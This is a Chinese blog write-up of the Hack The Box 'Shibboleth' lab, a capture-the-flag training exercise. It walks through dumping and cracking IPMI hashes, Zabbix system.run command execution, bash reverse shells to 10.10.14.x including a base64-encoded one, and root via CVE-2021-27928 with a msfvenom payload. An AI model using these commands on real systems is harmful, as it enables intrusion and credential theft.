• 【Hack The Box】Linux练习-- Shibboleth


    HTB 学习笔记

    Hack The Box】Linux练习-- Shibboleth


    🔥系列专栏:Hack The Box
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年11月27日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!

    在这里插入图片描述

    信息收集

    80/tcp open  http    Apache httpd 2.4.41
    |_http-server-header: Apache/2.4.41 (Ubuntu)
    |_http-title: Did not follow redirect to http://shibboleth.htb/
    Service Info: Host: shibboleth.htb
    
    • 1
    • 2
    • 3
    • 4

    shibboleth.htb

    域名爆破
    wfuzz -u http://shibboleth.htb -H "Host: FUZZ.shibboleth.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt 
    
    • 1

    在这里插入图片描述因为可以看到word一列均为26,所以我们添加–hw 26

    wfuzz -u http://shibboleth.htb -H "Host: FUZZ.shibboleth.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hw 26
    
    • 1

    得到如下并添加到hosts

    shibboleth.htb 
    monitor.shibboleth.htb 
    monitoring.shibboleth.htb 
    zabbix.shibboleth.htb
    
    • 1
    • 2
    • 3
    • 4

    shibboleth.htb - TCP 80

    全都是垃圾文本,页面底部有一些信息
    © Copyright FlexStart. All Rights Reserved
    Powered by enterprise monitoring solutions based on Zabbix & Bare Metal BMC automation
    页面底部有这个个信息
    FlexStart是个cms还是个啥
    Bare Metal BMC automation是一个类似于工控的一个监控的东西

    目录爆破啥都没有

    zabbix/monitor/monitoring.shibboleth.htb - TCP 80

    在这里插入图片描述
    一个zabbix登陆界面
    也没有默认凭据,也没有注册,也没有子目录

    IPMI

    谷歌搜索“Bare Metal BMC automation”

    https://deploy.equinix.com/blog/redfish-and-the-future-of-bare-metal-server-automation/
    
    • 1

    这篇文章讲到了
    最常见的平台是 IPMI 。 目前在 2.0 版中,IPMI 允许通过以太网进行“带外”访问,以进行重新启动服务器、测量温度或风扇速度等操作,或者访问 IP-KVM 或 Serial-over-Lan 等服务器的接口。
    而在hacktrick中讲到ipmi常常开启在udp623
    我们扫一下udp623是否开启

    nmap -sU -p 623 -sCV -A  shibboleth.htb
    
    • 1

    在这里插入图片描述那么就可以了
    现在要获取版本

    获取版本
    use  auxiliary/scanner/ipmi/ipmi_version
    set rhosts 10.129.19.82
    run
    
    • 1
    • 2
    • 3

    在这里插入图片描述这是2.0

    IPMI 2

    IPMI 2 使用 RAKP 协议交换密钥,这具有巨大的安全风险,
    IPMI 规范中的 RAKP 协议允许任何人使用 IPMI 命令获取可以离线破解的 HMAC IPMI 密码哈希。

    两种方法。第一,利用msf

    use auxiliary/scanner/ipmi/ipmi_dumphashes
    set rhosts 10.129.19.82
    run
    
    • 1
    • 2
    • 3

    在这里插入图片描述Administrator:58a4653f820100007b6b6939f06c9f1e6dbb7cc22269a495ae3d708bbc7b73e0230c1b876677bec2a123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:67f9ffd760c9677ed2332400a2e0c36145f76be5

    第二,利用脚本

    https://github.com/c0rnf13ld/ipmiPwner
    sudo python3 ipmipwner.py --host 10.10.11.124

    但是这个生成出来的hash不一样
    有可能我的理解有点问题
    有懂的师傅可以指点一下

    破解密码

    /usr/bin/hashcat-6.2.6/hashcat.bin ipmi.hash /usr/share/wordlists/rockyou.txt --user
    
    • 1

    能自动识别
    在这里插入图片描述得到凭据如下
    Administrator/ilovepumkinpie1
    在这里插入图片描述
    主页显示一台主机已经登陆了一年多了

    他是这个域名

    shibboleth.htb
    
    • 1

    在这里插入图片描述但是我没有获得什么有用的信息
    我接着找,在如下图的位置找到了一个创建主机的地方

    在这里插入图片描述
    并且在这里有一个项目的按钮,点击一下,然后再点击右上角的创建项目在这里插入图片描述
    select发现system可以执行命令,并且有一条就是关于执行命令的,只不过那个命令还需要带一个模式参数,我不知道该选什么,于是就没选

    在这里插入图片描述而后点击最下面的测试
    再点击获取结果

    在这里插入图片描述

    可以了rce,反弹端口
    当我在命令中输入

    bash  -i >& /dev/tcp/10.10.14.6/443 0>&1
    
    • 1

    这种情况要么需要url编码,要么需要b64编码
    不存在无法执行的情况,因为这是bash命令
    所以我将进行url编码,而后进行b64编码进行尝试
    最终发现b64编码可行

    echo "bash  -i >& /dev/tcp/10.10.14.6/443 0>&1 " | base64
    system.run[echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjkvNzc3NyAwPiYxIAo= | base64 -d | bash]
    
    • 1
    • 2

    在这里插入图片描述
    但是很快他就断了
    我不清楚原因是什么
    我采用的办法是在我获得shell的一瞬间,粘贴
    bash -i >& /dev/tcp/10.10.14.29/8888 0>&1
    到新的端口,而后来自网站的流量会断掉端口流量,而因为我们的二传已经将路径延伸出去了,所以网站只会断掉第二传的流量,而第一传保持完好

    在这里插入图片描述只有一个ipmi-svc用户
    在这里插入图片描述

    密码复用

    在这里插入图片描述端口无异常(存在本地3306)
    sudo无异常
    文件配置信息无异常
    那么这样看来我就需要去mysql直接找到root用户凭据了
    因为基本的枚举都没有什么问题,或者只能内核提权

    要找到 MySQL 的凭据,我需要 Zabbix 配置文件。 它住在 /etc/zabbix

    而且它很大,大部分行都是注释和默认值。 为了找到数据库信用,我将使用两个 grep命令,首先删除以 #, 然后删除空行:

    cat zabbix_server.conf | grep -v "^#" | grep . 
    
    • 1

    或者也可以直接全部复制粘贴下来然后拿到本地搜索关键字

    最终可以得到凭据:

    DBName=zabbix
    DBUser=zabbix
    DBPassword=bloooarskybluh
    而后登陆数据库
    
    mysql -u zabbix -pbloooarskybluh
    show databases;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述
    但是我没有找到任何的有用的凭据
    但是在我链接数据库的时候
    10.3.25 MariaDB
    映入眼帘
    在这里插入图片描述
    如果我们搜索版本漏洞
    引入眼帘的同样是
    CVE-2021-27928
    在这里插入图片描述按照一些方法,去执行

    CVE-2021-27928

     msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.29 LPORT=6666 -f elf-so -o rev.so
     wget 10.10.14.6/rev.so
     数据库执行
      SET GLOBAL wsrep_provider="/tmp/rev.so";
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

  • 相关阅读:
    qt 重载信号,使用“&“方式进行connect()调用解决方案
    网络安全实战,如何利用Python监测漏洞
    python 数字字符识别验证码
    lightdb21.3-支持语句级hint
    谈数据库查询涉及的存储效率
    1.GO语言的第一步
    Linux下的基本指令
    Android 项目报错 GL errors,如何解决?
    C语言基础(笔记)+程序设计基础I-选择结构题目详解
    【C语言】循环语句详解
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/128034927